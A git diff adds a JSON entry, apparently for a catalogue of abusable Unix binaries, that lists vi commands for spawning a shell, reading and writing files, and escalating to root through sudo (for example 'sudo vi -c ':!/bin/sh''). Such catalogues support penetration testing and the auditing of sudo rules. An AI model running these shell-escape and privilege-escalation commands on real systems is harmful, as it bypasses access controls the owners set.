diff --git a/data/vi.json b/data/vi.json new file mode 100644 index 0000000..2c06072 --- /dev/null +++ b/data/vi.json @@ -0,0 +1,28 @@ +{ + "description": "Modern Unix systems run 'vim' binary when 'vi' is called.", + "functions": { + "shell": [ + { + "code": "vi -c ':!/bin/sh' /dev/null" + }, + { + "code": "vi\n:set shell=/bin/sh\n:shell\n" + } + ], + "file-write": [ + { + "code": "vi [file]\niDATA\n^[\nw\n" + } + ], + "file-read": [ + { + "code": "vi [file]" + } + ], + "sudo": [ + { + "code": "sudo vi -c ':!/bin/sh' /dev/null" + } + ] + } +} \ No newline at end of file